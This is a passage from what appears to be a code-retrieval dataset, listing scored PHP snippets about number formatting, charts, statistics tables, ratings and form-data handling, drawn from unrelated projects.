"c3c0a4d36f52475e3c5981d2774bcea2", "score": "0.4750233", "text": "public function getRentPriceAttribute($value)\n {\n //number_format($value,quantidade de casas deciamis,'separador das casas decimais','separador das casas dos milhares');\n return number_format($value, 2, ',', '.');\n }", "title": "" }, { "docid": "ef2de1a4f5a9e07320df8ad4fae6b130", "score": "0.47393537", "text": "public function geoChart()\n {\n $lava = new Lavacharts; // See note below for Laravel\n\n\n\t\t$popularity = $lava->DataTable();\n\n\t\t$data = CountryUser::select(\"name as 0\",\"total_users as 1\")->get()->toArray();\n\n\n\t\t$popularity->addStringColumn('Country')\n\n\t\t ->addNumberColumn('Popularity')\n\n\t\t ->addRows($data);\n\n\n $lava->GeoChart('Popularity', $popularity);\n ##passar variavel lava como parametro\n /* na view usamos : \n <div id=\"pop-div\" style=\"width:800px;border:1px solid black\"></div>\n\n <?= $lava->render('GeoChart', 'Popularity', 'pop-div') ?>\n */\n return ;\n }", "title": "" }, { "docid": "4d5d16932d6364c594550d3e8abea6d2", "score": "0.47386283", "text": "function ShowRate($for) {\n $value = 0;\n $voices = 0;\n $event = '';\n $item = '';\n $rate = GetRate($for, $item);\n\n if (!empty($rate)) {\n $voices = sizeof($rate);\n $sum = 0;\n foreach ($rate as $key => $op) {\n $sum = $sum + $op;\n }\n if ($voices !== 0) {\n $value = $sum / $voices;\n }\n }\n $user = USER::getUser('user');\n\n if (($user !== 'guest') && !array_key_exists($user, $rate)) {\n $event = 'onmousedown=\"star.update(this, \\''.$for.'\\')\" onmousemove=\"star.mouse(event, this)\" title=\"Rate!\"';\n }\n\n $TEMPLATE = new TEMPLATE(__DIR__.DS.'rate.tpl');\n $TEMPLATE->set('value', $value); # Rate value\n $TEMPLATE->set('voted', $voices); # Number of voices\n $TEMPLATE->set('item' , $for); # Item\n $TEMPLATE->set('width', $value * 84 / 100); # Width of rate value field\n $TEMPLATE->set('event', $event); # Allow rating?\n return $TEMPLATE->parse();\n}", "title": "" }, { "docid": "d954cd7190dcd84ded23baca3ebcf09c", "score": "0.47131705", "text": "function valore_totale_mio_ordine_lordo($idu,$usr){\n$mio_o = valore_totale_mio_ordine($idu,$usr);\n//echo \"mio=\".$mio_o.\"<br>\";\n\n$vto = valore_totale_ordine_qarr($idu);\n\n//echo \"vto=\".$vto.\"<br>\";\nif ($vto>0){\n$perc = (float)($mio_o/$vto)*100;\n\n$tras = valore_trasporto($idu,$perc);\n//echo \"perc=\".$perc.\"<br>\";\n//echo \"tras=\".$tras.\"<br>\";\n$gest =valore_gestione($idu,$perc);\n//echo \"perc=\".$perc.\"<br>\";\n//echo $perc;\nreturn (float)round($mio_o + $tras + $gest,4);\n}else{\nreturn \"\";\n\n}\n}", "title": "" }, { "docid": "bd8f43830bfec06ce88a273b603936b2", "score": "0.4712986", "text": "function render($values)\n\t\t{\n\t\t\t$summed_fields=explode(' ',$values->{$this->field_alias});\n\t\t\treturn (float)$summed_fields[$this->summed_fields_idx];\n\t\t\t}", "title": "" }, { "docid": "76fbc30456f555e83cc399d244f4c369", "score": "0.4695862", "text": "function printResult_typeRate($result) {\n echo \"<br>Got data from table typeRate:<br>\";\n echo \"<table>\";\n echo \"<tr><th>capacity</th><th>feature</th><th>price</th></tr>\";\n \n while ($row = OCI_Fetch_Array($result, OCI_BOTH)) {\n echo \"<tr>\n <td>\" . $row[0] . \"</td>\n <td>\" . $row[1] . \"</td>\n <td>\" . $row[2] . \"</td></tr>\"; //or just use \"echo $row[0]\"\n }\n echo \"</table>\";\n \n }", "title": "" }, { "docid": "17047cdccbab221d19661be55f7fd29d", "score": "0.46857563", "text": "function process_stats_disp($stats_data_array)\n{\n $row = \"<tr>\";\n \n while (list($key, $val) = each($stats_data_array))\n {\n if ($key != 'STATS')\n {\n if ($key == 'Elapsed')\n {\n $days = floor($val / 86400);\n $val -= $days * 86400;\n $hours = floor($val / 3600);\n $val -= $hours * 3600;\n $mins = floor($val / 60);\n $seconds = $val - ($mins * 60);\n \n $val = $days.\"d \".$hours.\"h \".$mins.\"m \".$seconds.\"s\";\n }\n\n $row .= \"<td>\" . $key. \": \" . $val . \"</td>\";\n }\n }\n $row .= \"</tr>\";\n\n return $row;\n}", "title": "" }, { "docid": "8d8cc17e7ecee57fc7d651d318e79f8a", "score": "0.46854737", "text": "function health_format($value) {\r\n \r\n\treturn '<span class=\"health\">'.number_format($value,0,\",\",\".\").'</span>';\r\n}", "title": "" }, { "docid": "39410efb974fcbbdebfbc502dbbaa2e8", "score": "0.46845224", "text": "function _outputRenderStatsTable()\n {\n\n foreach ($this->result_counts as $code => $val) {\n if ($code != PHPSECINFO_TEST_RESULT_NOTRUN) {\n $percentage = round($val / $this->num_tests_run * 100, 2);\n $result_type = $this->_outputGetResultTypeFromCode($code);\n $stats[$result_type] = array('count' => $val,\n 'result' => $code,\n 'message' => \"$val out of {$this->num_tests_run} ($percentage%)\");\n }\n }\n\n $this->_outputRenderTable('Test Results Summary', $stats);\n\n }", "title": "" }, { "docid": "88285a13aab52120601bf63d9093eb51", "score": "0.46790484", "text": "private function _graph_freq($options) {\n\t\t$this->options = array_merge($this->options, array(\n\t\t\t'title' => 'Core temperature',\n\t\t\t'endtime' => (1*3600*1),\n\t\t\t)\n\t\t);\n\t\t$this->set($options);\n\n\t\t$fg_green = \"00ff00\";\n\t\t$bg_green = $this->_lighten($fg_green);\n\t\t$fg_orange = \"ffb000\";\n\t\t$bg_orange = $this->_lighten($fg_orange);\n\t\t$fg_red = \"ff0000\";\n\t\t$bg_red = $this->_lighten($fg_red);\n\n\t\t$low = 800;\n\t\t$high = 950;\n\n\t\t$format = \"%5.1lf%s\";\n\n\t\t$filename = $this->options['dn'].'table-frequency/gauge-pi.rrd';\n\t\t$name = 'Core temperature';\n\n\t\t$lns[] = 'DEF:min='.$filename.':value:MIN';\n\t\t$lns[] = 'DEF:avg='.$filename.':value:AVERAGE';\n\t\t$lns[] = 'DEF:max='.$filename.':value:MAX';\n\t\t$lns[] = 'CDEF:minc=min,1000,/';\n\t\t$lns[] = 'CDEF:avgc=avg,1000,/';\n\t\t$lns[] = 'CDEF:maxc=max,1000,/';\n\t\t$lns[] = 'CDEF:ds_red=maxc,'.$high.',GT,maxc,UNKN,IF';\n\t\t$lns[] = 'CDEF:ds_orange=maxc,'.$low.',GT,maxc,'.$high.',GT,'.$high.',maxc,IF,UNKN,IF';\n\t\t$lns[] = 'CDEF:ds_green=maxc,'.$low.',GT,'.$low.',maxc,IF';\n\t\t$lns[] = 'AREA:ds_red#'.$bg_red;\n\t\t$lns[] = 'LINE1:ds_red#'.$fg_red.($this->options['print'] ? ':'.$name : '');\n\t\t$lns[] = 'AREA:ds_orange#'.$bg_orange;\n\t\t$lns[] = 'LINE1:ds_orange#'.$fg_orange;\n\t\t$lns[] = 'AREA:ds_green#'.$bg_green;\n\t\t$lns[] = 'LINE1:ds_green#'.$fg_green;\n\t\tif($this->options['print']) {\n\t\t\t$lns[] = 'GPRINT:minc:MIN:'.$format.' Min';\n\t\t\t$lns[] = 'GPRINT:avgc:AVERAGE:'.$format.' Avg';\n\t\t\t$lns[] = 'GPRINT:maxc:MAX:'.$format.' Max';\n\t\t}\n\t\treturn $lns;\n\t}", "title": "" }, { "docid": "d5871d6b99f9115cbfd6442b33333b1a", "score": "0.46766847", "text": "function precon_forecast_getData($tid, $suffix) {\r\n\t$runningAverageMetaName = 'runningAverage' . $suffix;\r\n\t$historyMetaName = 'historicalVotes' . $suffix;\r\n\r\n\t$runningAverage = get_post_meta($tid, $runningAverageMetaName, true);\r\n\t$history = get_post_meta($tid, $historyMetaName, true);\r\n\r\n\t$dates = '';\r\n\t$vals = '';\r\n\tif(!empty($history)) {\r\n\t\tforeach ($history as $key => $value) {\r\n\t\t\t$dates .= $key . ' ';\r\n\t\t\t$vals .= $value . ' ';\r\n\t\t}\r\n\t}\r\n\r\n\t$dates .= date('m/d/y', current_time('timestamp', $gmt = 0));\r\n\t$vals .= $runningAverage;\r\n\techo $dates . '+';\r\n\techo $vals;\r\n\r\n}", "title": "" }, { "docid": "dba0eebb89f1a510e29ca45d4bc600b0", "score": "0.46737015", "text": "function printextremes(&$chartdata){\n\t\t//the y is the data value on the y axis\n\t\t$min= $chartdata[0][\"y\"];\n\t\t$max= $chartdata[0][\"y\"];\n\t\t$maxind = 0;\n\t\t$minind = 0;\n\t\tfor($i = 0; $i<sizeof($chartdata); ++$i){\n\t\t\tif($chartdata[$i][\"y\"] > $max){\n\t\t\t\t$max = $chartdata[$i][\"y\"];\n\t\t\t\t$maxind = $i;\n\t\t\t}\n\t\t\tif($chartdata[$i][\"y\"] < $min){\n\t\t\t\t$min = $chartdata[$i][\"y\"];\n\t\t\t\t$minind = $i;\n\t\t\t}\n\t\t}\n\t\t$chartdata[$maxind][\"indexLabel\"] = \"Maximum\";\n\t\t$chartdata[$minind][\"indexLabel\"] = \"Minimum\";\n\t}", "title": "" }, { "docid": "5140d9d13a10f0410918ffd026733610", "score": "0.46640366", "text": "function trader_ht_trendmode(array $real): array\n{\n throw new RuntimeException(EXCEPTION_MESSAGE);\n}", "title": "" }, { "docid": "de408bdbfbf59cedd48e4d2b7b98259c", "score": "0.46639636", "text": "public function display()\n {\n $this->loadAccountingJson($this->fileInput);\n\n $accountingTotal = $this->getSum();\n $this->withRed = false;\n $accountingTotalWithoutRed = $this->getSum();\n\n echo (\"Elf Accounting Total: \" . $accountingTotal . \"\\n\");\n echo (\"Elf Accounting Total without red: \" . $accountingTotalWithoutRed . \"\\n\");\n }", "title": "" }, { "docid": "cad5f1211f845e93faa54464f8bb35de", "score": "0.466295", "text": "public function stats(){\n \n $this->set('dublin_header', \"new_environment_long_skyline_1200.png\");\n // $this->set('section_1_title',\"Housing Completion and Prices\");\n //$this->set('section_2_title',\"Private Rental Accomodation\");\n $this->set( compact( 'chart' ) );\n \n \n $this->set('Graph2', \"generic\");\n $this->set('Graph5', \"generic\");\n //$this->set('Graph3', \"constructionsmonthly_1\");\n //$this->set('Graph4', \"rentsByRoom\");\n //$this->set('Graph3', \"rent33\");\n //$this->set('Graph5', \"rents_1\");\n $this->layout = 'dublin_environment';\n \n //add a particular colour array for hospitals\n // $colorArray = array('#2f7ed8', '#0d233a', '#8bbc21', '#910000', '#1aadce', '#492970', '#2f7ed8', '#0d233a', '#8bbc21', '#910000', '#1aadce', '#492970');\t\n \n \n //build the chart\n //buildGraph returnChartValues\n $chart = $this->BuildGraph->returnChartValues('tab31','Waste produced per Capita','wastes',1,3,'Kg',1,'Source: EPA','http://www.epa.ie/pubs/reports/waste/stats/#.VrNcerKLTIW','line','1000',0,true,false,null,1);\n $this->set( compact( 'chart' ) );\n return $chart;\n \n }", "title": "" }, { "docid": "3d7cb5aaac39a7654ba44a041b44166c", "score": "0.4646697", "text": "public function giveConsumption($x)\n {\n $newDateString = date(\"Y-m-d\");\n if(!empty($_POST['dateSearch']))\n {\n $myDateTime = DateTime::createFromFormat('d/m/Y', $_POST['dateSearch']);\n $newDateString = $myDateTime->format('Y-m-d');\n }\n $date = \"`macchi_rolls`.date_roll BETWEEN '\". $newDateString .\" 00:00:00' AND '\". $newDateString .\" 23:59:59'\";\n\n $sql = \"SELECT rollno, DATE_FORMAT(date_roll, '%H:%i') AS time_r, `net_weight` AS production\n FROM `macchi_rolls` \n WHERE \". $date .\" ORDER BY CAST(SUBSTRING(rollno,8,2) AS UNSIGNED);\";\n\n if($x != 0)\n {\n $sql = \"SELECT rollno, DATE_FORMAT(date_roll, '%H:%i') AS time_r, `net_weight` AS production\n FROM `macchi_rolls` \n WHERE \". $date .\" AND shift = \". $x .\" ORDER BY CAST(SUBSTRING(rollno,8,2) AS UNSIGNED);\";\n } \n $a = $this->giveFormulaFor($newDateString,1);\n if($stmt = $this->_db->prepare($sql))\n {\n $stmt->execute();\n $total=array();\n for($i = 0; $i<count($a)+1; ++$i) \n { \n array_push($total,0);\n }\n echo '<thead>\n <tr class=\"active\">\n <th class=\"text-center\">Roll No</th>\n <th class=\"text-center\">Time</th>\n <th class=\"text-center\">Net weight</th>';\n for($i = 0; $i<count($a); ++$i) \n { \n echo '<th class=\"text-center\">'. $a[$i][0] .' - '. $a[$i][1] .'<br/>('. $a[$i][2] .' %)</th> '; \n }\n echo '</thead>\n <tbody>';\n while($row = $stmt->fetch())\n {\n echo '<tr>\n <td>'. $row['rollno'] .'</td>\n <td>'. $row['time_r'] .'</td>\n <td class=\"text-right\">'. number_format($row['production'],2,'.',',') .'</td>' ;\n $total[0] = $total[0] + $row['production'];\n\t\t\t\t\tfor($i = 0; $i<count($a); ++$i) \n\t\t\t\t\t{ \n\t\t\t\t\t\t$x = $a[$i][2]/100*$row['production'];\n\t\t\t\t\t\t$total[$i+1] = $total[$i+1]+$x;\n\t\t\t\t\t\techo '<td class=\"text-right\">'. number_format($x,2,'.',',') .'</td>'; \n\t\t\t\t\t}\n echo '</tr>';\n }\n echo '</tbody>';\n echo '\n <tfoot>\n <tr class=\"active\">\n <th colspan=\"2\" style=\"text-align:center\">TOTAL KGS</th>';\n for($i = 0; $i<count($total); ++$i) \n { \n echo '<th class=\"text-right\">'. number_format($total[$i],2,'.',',') .'</th>';\n }\n echo '</tr>\n <tr >\n <td colspan=\"3\" style=\"text-align:center\">TOTAL BAGS</td>';\n for($i = 1; $i<count($total); ++$i) \n { \n echo '<td class=\"text-right\">'. $this->giveBags($total[$i]) .'</td>';\n }\n echo '</tr>\n </tfoot>';\n $stmt->closeCursor();\n \n }\n else\n {\n echo \"<tr>\n <td>Something went wrong</td>\n <td>$db->errorInfo</td>\n <td></td>\n <td></td>\n <td></td>\n <td></td>\n <td></td>\n <td></td>\n </tr>\";\n }\n \n }", "title": "" }, { "docid": "c57f946364c971f22682d71e409ef578", "score": "0.4634639", "text": "public function label()\n\t{\n\t\t$data = $this->db->count_all('tb_tong_sampah');\n\n\t\tif( $data !== 0)\n\t\t\techo \"<span class='label label-danger'>{$data}</span>\";\n\t}", "title": "" }, { "docid": "6f9bc564f0e60f39e020e799dcff36ae", "score": "0.4633878", "text": "function prix_total($prix,$quantite,$remise,$TVA){\n $prix=$prix-($prix*$remise)/100;\n $prix=$prix+($prix*$TVA)/100;\n $prix=$prix*$quantite;\n return $prix;\n}", "title": "" }, { "docid": "9b5a493f1248ed08a9df3e496a3f57b1", "score": "0.46320647", "text": "function kira2($dulu,$kini)\n{\n\treturn @number_format((($kini-$dulu)/$dulu)*100,0,'.',',');\n\t//@$kiraan=(($kini-$dulu)/$dulu)*100;\n}", "title": "" }, { "docid": "a8653ac6783d01fad16720b836756c0d", "score": "0.46271408", "text": "function _getDisplayValue($values)\n {\n switch ($this->_useValue) {\n case IMAGE_GRAPH_VALUE_X:\n $value = $values['X'];\n break;\n\n case IMAGE_GRAPH_PCT_X_MIN:\n $value = $values['PCT_MIN_X'];\n break;\n\n case IMAGE_GRAPH_PCT_X_MAX:\n $value = $values['PCT_MAX_X'];\n break;\n\n case IMAGE_GRAPH_PCT_Y_MIN:\n $value = $values['PCT_MIN_Y'];\n break;\n\n case IMAGE_GRAPH_PCT_Y_MAX:\n $value = $values['PCT_MAX_Y'];\n break;\n\n case IMAGE_GRAPH_PCT_Y_TOTAL:\n if (isset($values['SUM_Y'])) {\n $value = 100 * $values['Y'] / $values['SUM_Y'];\n }\n else {\n $value = 0;\n } \n break;\n\n case IMAGE_GRAPH_POINT_ID:\n $value = $values['ID'];\n break;\n\n default:\n $value = $values['Y'];\n break;\n }\n return $value;\n }", "title": "" }, { "docid": "279094e23927a0e30a1f4e91221dedeb", "score": "0.46226728", "text": "public function getTributeAttribute($value)\n {\n //number_format($value,quantidade de casas deciamis,'separador das casas decimais','separador das casas dos milhares');\n return number_format($value, 2, ',', '.');\n }", "title": "" }, { "docid": "788eb3a9bbd1a0772f9a2978d2cff7cc", "score": "0.46220854", "text": "function yearly() {\n $this->load->view(\"estimates/yearly_estimates\");\n }", "title": "" }, { "docid": "a276e856ad3fb117277501e67b34ca9e", "score": "0.46179163", "text": "public function display()\r\n {\r\n return \"I bought the car in \" .$this->getDate() .\"<br>\";\r\n }", "title": "" }, { "docid": "02f4d4322015ee5a7772926dd877bb6d", "score": "0.46171233", "text": "public function showAnalyzedLogContent($result) {\n\t\tksort($result['stats']);\n\t\tforeach ($result['stats'] as $index => $data) {\n\t\t\tksort($data);\n\t\t\techo '<h1>'.$index.'</h1>';\n\n\t\t\t// show statistics\n\t\t\techo '<table class=\"result resultOverview\"><thead><tr>';\n\t\t\techo '<th style=\"width: 20%;\">Matchmode</th>';\n\t\t\techo '<th style=\"width: 20%;\">Query count</th>';\n\t\t\techo '<th style=\"width: 20%;\">Overall time (s)</th>';\n\t\t\techo '<th style=\"width: 20%;\">Average time (s)</th>';\n\t\t\techo '<th style=\"width: 20%;\">Average <span title=\"Queries per second\">QPS</span></th>';\n\t\t\techo '</tr></thead>';\n\t\t\tforeach ($data as $statsIndex => $dataset) {\n\t\t\t\t$qps = 'Not available';\n\t\t\t\tif (isset($dataset['minDate']) && isset($dataset['maxDate'])) {\n\t\t\t\t\t$seconds = $dataset['maxDate'] - $dataset['minDate'];\n\t\t\t\t\t$qps = $dataset['count'] / $seconds;\n\t\t\t\t\t$qps = number_format($qps, 2);\n\t\t\t\t}\n\n\t\t\t\t$average = ($dataset['duration'] / $dataset['count']);\n\t\t\t\techo '<tr>';\n\t\t\t\techo '<td>'.$statsIndex.'</td>';\n\t\t\t\techo '<td>'.$dataset['count'].'</td>';\n\t\t\t\techo '<td>'.number_format($dataset['duration'], 3).'</td>';\n\t\t\t\techo '<td'.($average >= 0.1 ? ' style=\"background-color: red;\"' : '').'>'.number_format($average, 3).'</td>';\n\t\t\t\techo '<td>'.$qps.'</td>';\n\t\t\t\techo '</tr>';\n\t\t\t}\n\t\t\techo '</table>';\n\n\t\t\tif (!empty($_GET['slow'])) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// show slow queries\n\t\t\tif (!empty($result['slow'][$index]['duration'])) {\n\t\t\t\t$index_clean = str_replace(' ', '', $index);\n\t\t\t\techo '<h2 onclick=\"$(\\'#slowQueries_'.$index_clean.'\\').toggle();\">Slow queries ('.count($result['slow'][$index]['duration']).')</h2>';\n\t\t\t\techo '<table class=\"result resultSlow\" id=\"slowQueries_'.$index_clean.'\" style=\"display: none;\"><thead><tr>';\n\t\t\t\techo '<th style=\"width: 150px;\">Time (s)</th>';\n\t\t\t\techo '<th style=\"width: 120px;\">Matchmode</th>';\n\t\t\t\techo '<th style=\"width: 120px;\">Sortmode</th>';\n\t\t\t\techo '<th style=\"width: 80px;\">Filters</th>';\n\t\t\t\techo '<th style=\"width: 140px;\">Total matches</th>';\n\t\t\t\techo '<th style=\"width: 80px;\">Offset</th>';\n\t\t\t\techo '<th style=\"width: 80px;\">Limit</th>';\n\t\t\t\techo '<th>Query</th></tr></thead>';\n\t\t\t\tforeach ($result['slow'][$index]['duration'] as $slowIndex => $dataset) {\n\t\t\t\t\techo '<tr>';\n\t\t\t\t\techo '<td>'.number_format($dataset, 3).'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['matchmode'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['sortmode'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['filters'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['matches'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['offset'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['limit'][$slowIndex].'</td>';\n\t\t\t\t\techo '<td>'.$result['slow'][$index]['query'][$slowIndex].'</td>';\n\t\t\t\t\techo '</tr>';\n\t\t\t\t}\n\t\t\t\techo '</table>';\n\t\t\t}\n\t\t}\n\n\t\t// show misses\n\t\tif (!empty($result['miss'])) {\n\t\t\techo '<table class=\"result resultMisses\"><thead><tr><th>Query</th></tr></thead>';\n\t\t\tforeach ($result['miss'] as $dataset) {\n\t\t\t\techo '<tr>';\n\t\t\t\techo '<td>'.$dataset.'</td>';\n\t\t\t\techo '</tr>';\n\t\t\t}\n\t\t\techo '</table>';\n\t\t}\n\t}", "title": "" }, { "docid": "01693d750203c6ad2b10339dc2027055", "score": "0.4614636", "text": "public function reports()\n\t{\n // ['expenses', 910, 3020, 760, 1080, 850, 940, 910, 1020, 760, 1080, 850, 940]\";\n\t \n\t\t$userid = $this->session->MemberID;\n\t\t$in_condition = \"MemberId='\".$userid.\"' AND TypeId IN('4','5','15','18')\";\n\t\t$this->data['income'] = $this->dashboard_model->DashResults($in_condition, 'arm_history','10', '0');\n\t\t// $this->data['income'] = $this->dashboard_model->GetSums($in_condition, 'arm_history','Debit');\n\n\t\t$out_condition = \"MemberId='\".$userid.\"' AND TypeId NOT IN('4','5','15','18')\";\n\t\t$this->data['outgoes'] = $this->dashboard_model->DashResults($in_condition, 'arm_history','10', '0');\n\t\t// $this->data['outgoes'] = $this->dashboard_model->GetSums($out_condition, 'arm_history','Credit');\n\t\t$data1 = array();\n\n\t\t//{y: '2011 Q3', item1: 523.0000, item2: 54.0000},\n\n\t\t$i = 1;\n\t\t$income_total = 0;\n\t\tforeach ($this->data['income'] as $income) {\n\t\t\t$income_total = $income_total + $income->Credit;\n\t\t\t$years = date('Y',strtotime($income->DateAdded)).\" Q\".$i++;\n\t\t\t$data1[] = \"{y: '\".$years.\"', item1: \".$income->Credit.\", item2: \".$income->Debit.\"}\";\n\t\t\t// $data1['Y'] = date('Y',strtotime($income->DateAdded)).\" Q\".$i++;\n\t\t\t// $data1['item1'] = $income->Credit;\n\t\t\t// $data1['item2'] = $income->Debit;\n\t\t\t\n\t\t}\n\n\t\t// $i = 1;\n\t\t// $expens_total = 0;\n\t\t// foreach ($this->data['outgoes'] as $expens) {\n\t\t// \t$expens_total = $expens_total + $expens->Debit;\n\t\t// \t$data1['Y'] = date('Y',strtotime($expens->DateAdded)).\" Q\".$i++;\n\t\t// \t$data1['item1'] = $expens->Credit;\n\t\t// \t$data1['item2'] = $expens->Debit;\n\t\t\t\n\t\t// }\n\t\t// $doun = '{label: \"Income\", value: '.$income_total.'},';\n\t\t// $doun .= '{label: \"Expense\", value: '.$expens_total.'}';\n\t\t// echo $doun;\n\t\t// echo json_encode($data1);\n\t\techo $jsondata = str_replace('\"','',json_encode($data1));\n\n\t\t// $item1 = $this->data['income']\n\n\t}", "title": "" }, { "docid": "18cf719f40cf055853f87570f4beaf9b", "score": "0.46085313", "text": "function showCurve(){\r\n return $this->curve;\r\n }", "title": "" }, { "docid": "8350013c8e8ad3a42d6335f56730e4ce", "score": "0.46084365", "text": "function indication_format($value, $pos) {\r\n\r\n\tif ($pos==1) {\r\n\t\tif ($value>50) {\r\n\t\t\treturn '<span class=\"green\">'.$value.'%</span>';\r\n\t\t} else if ($value>20) {\r\n\t\t\treturn '<span class=\"yellow\">'.$value.'%</span>';\r\n\t\t} else {\r\n\t\t\treturn '<span class=\"red\">'.$value.'%</span>';\r\n\t\t}\r\n\t} else {\r\n\t\tif ($value>80) {\r\n\t\t\treturn '<span class=\"red\">'.$value.'%</span>';\r\n\t\t} else if ($value>50) {\r\n\t\t\treturn '<span class=\"yellow\">'.$value.'%</span>';\r\n\t\t} else {\r\n\t\t\treturn '<span class=\"green\">'.$value.'%</span>';\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "429d223ac4d0a90c4978e1a358c5a3d9", "score": "0.46079105", "text": "public function display()\n {\n switch ($this->format) {\n case 'm':\n $out_total = $this->total * 0.621371192;\n break;\n case 'k':\n $out_total = $this->total;\n break;\n }\n\n return $out_total;\n }", "title": "" }, { "docid": "db4eafb30609c0f64da2cd4e773210b3", "score": "0.46078172", "text": "public function calcConsumption()\n {\n if ($this->fees && $this->powerPrice) {\n if (\\is_numeric($this->fees) && \\is_numeric($this->powerPrice) && \\is_numeric($this->pvPower)) {\n $this->consumption = round($this->fees / ($this->powerPrice / 12));\n $this->emit('setChartData', [$this->pvPower, $this->consumption]);\n }\n } else {\n $this->consumption = 0;\n }\n }", "title": "" }, { "docid": "6b1b69b9965fdecb351b9dd4a8497dac", "score": "0.46073857", "text": "function daily_revenue(){\n\t\t\t\t\t\t\n\t\t\t\t\t$query=\t$this->db->query(\"SELECT sum(a.total1) as total\n\t\t\t\t\t\t\t\t\t\t\t\tfrom(\n\t\t\t\t\t\t\t\t\t\t\t\tSELECT distinct nomor, date(filetime)as date, DeviceId , if(nilaidanpajak like '%,%',replace(nilaidanpajak,',',''),replace(nilaidanpajak,'.',''))as total1\n\t\t\t\t\t\t\t\t\t\t\t\tFROM Transaksi\n\t\t\t\t\t\t\t\t\t\t\t\tWHERE nomor<>'' AND DATE(`filetime`) = CURDATE()\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t) as a\n\t\t\t\t\t\t\t\t\t\t\t\");\t\t\t\t\n\t\t\t\t\t\tforeach($query->result() as $row){\n\t\t\t\t\t\t\t$total = $row->total;\n\t\t\t\t\t\t\t$t = number_format($total,0,',','.');\n\t\t\t\t\t\t\tprint $t;\n\t\t\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "27953a89bd880edecf9b78c990855947", "score": "0.4607256", "text": "public function deviation(): float|int;", "title": "" }, { "docid": "6ea4c3ed89312238b2e00d6bc279cdff", "score": "0.4606913", "text": "public function hitRate()\n {\n $artists = $this->artist->all();\n $albums = $this->album->all();\n $music = $this->music->orderBy('hitrate','DESC')->get();\n return view('musics.mood', compact('musics','albums','artists'));\n }", "title": "" } ]
7410c0ff8f6523ebc3066d71ba8a1968
$data array is passed using the form field name as the key
[ { "docid": "f8e7901befc23e559d5a5c311a9d017e", "score": "0.0", "text": "public function ValidTextFields($check) {\n // have to extract the value to make the function generic\n $value = array_values($check);\n $value = $value[0];\n\n return preg_match('|^[0-9a-zA-Z\\s_\\+\\-\\/\\\\@!#&\"\\'\\\"\\,\\(\\)\\.+]*$|', $value);\n }", "title": "" } ]
[ { "docid": "ca97125ddd8cee75bc09beb5f5a23c32", "score": "0.7028081", "text": "public function bindDataToForm(array $data);", "title": "" }, { "docid": "01a00e830a2109f59ab2a8994aac06f5", "score": "0.6751889", "text": "function form_data_post($field){\n\t$data=$_POST[$field];\n\treturn $data;\n}", "title": "" }, { "docid": "b381ec56d5355d3fa30350b43ce7753b", "score": "0.6633937", "text": "private function mapFromForm($data)\n {\n $output = [];\n $output['licenceNumber'] = $data['fields']['licenceNumber'];\n $output['emailAddress'] = $data['fields']['emailAddress'];\n\n return $output;\n }", "title": "" }, { "docid": "17c3f3b6a99dd5c5ab3b0d8d36302f6d", "score": "0.66306037", "text": "function p_addField($data = array()) {\r\n\t\t\t$defaults = array();\r\n\t\t\t$data = array_merge($defaults, $data);\r\n\t\t\t$this->activeForm->addField($data);\r\n\t\t}", "title": "" }, { "docid": "07c8831720c2de1633184fa993b9967d", "score": "0.655582", "text": "function form_render($data){\n foreach (array('TO_DO','ACTION') as $c) {\n if (is_Probe($data->get_value($c))) {\n $value = $data->get_value($c)->load();\n $data->set_value($c,$value);\n $data->set_value(strtolower($c),$value);\n }\n } \n }", "title": "" }, { "docid": "bb1fd1f7129076b638334320c1bcfb9f", "score": "0.6492779", "text": "private function populate_form_fields(){\r\n global $iSDK;\r\n\r\n $data = $iSDK->Data( 'query', 'DataFormField', 1000, 0, array('FormId' => 0 - 1), array('Id', 'Label', 'Name', 'GroupId', 'FormId') );\r\n\r\n // stop if no data\r\n if(empty($data))\r\n return;\r\n\r\n //empty table to avoid dups\r\n $this->db->get_results(\"TRUNCATE TABLE {$this->pref}inf_DataFormField\");\r\n\r\n foreach($data as $item){\r\n $this->db->insert($this->pref.'inf_DataFormField',$item);\r\n }\r\n }", "title": "" }, { "docid": "1666e1264776ad8946b42d7d5deb38fb", "score": "0.6469605", "text": "public function setFormData($data);", "title": "" }, { "docid": "b1bc3af7d12677c27249df6a2f6f8fd0", "score": "0.6463494", "text": "public function post_save($data)\n {\n // if the field is missing from the form\n if (($data = ee()->session->cache(__CLASS__, $this->name(), false)) === false) {\n return;\n }\n\n $fluid_field_data = $this->getFieldData()->indexBy('id');\n $previous_field_group_id = null;\n $previous_group_key = null;\n\n $i = 1;\n $g = 0;\n $total_fields = count($data['fields']);\n // [field_3][field_group_0][field_id_2]\n // [new_field_1][field_group_1][field_id_2]\n foreach ($data['fields'] as $key => $value) {\n if ($key == 'new_field_0') {\n continue;\n }\n\n if (strpos(key($value), 'field_group_id_') === 0) {\n $field_group_id = (int) str_replace('field_group_id_', '', key($value));\n $field_group_id = ($field_group_id > 0) ? $field_group_id : null;\n $value = current($value);\n }\n\n $group_key = $key;\n\n foreach ($value as $fieldKey => $fieldValue) {\n if (strpos($fieldKey, 'field_id_') !== 0) {\n continue;\n }\n $id = null;\n $field_id = null;\n\n // Existing field\n if (strpos($key, 'field_') === 0 && (!defined('CLONING_MODE') || CLONING_MODE !== true)) {\n $id = str_replace('field_', '', $key);\n if (isset($fluid_field_data[$id])) {\n $group_key = 'group_' . $fluid_field_data[$id]->group;\n } elseif (ee('Request')->get('version')) {\n $key = 'new_field_' . ($total_fields + (int) $id);\n }\n }\n // New field\n if (strpos($key, 'new_field_') === 0 || (defined('CLONING_MODE') && CLONING_MODE === true)) {\n $field_id = str_replace('field_id_', '', $fieldKey);\n }\n\n // If the field_group is null we do not have a group and are always incrementing\n // If the field_group is not the previous_field_group then we increment the group\n // If the field_group is the previous_field_group but the key has changed\n if (\n $field_group_id == null\n || (is_null($field_group_id) && is_null($previous_field_group_id))\n || ($field_group_id !== $previous_field_group_id)\n || ($field_group_id === $previous_field_group_id && $group_key !== 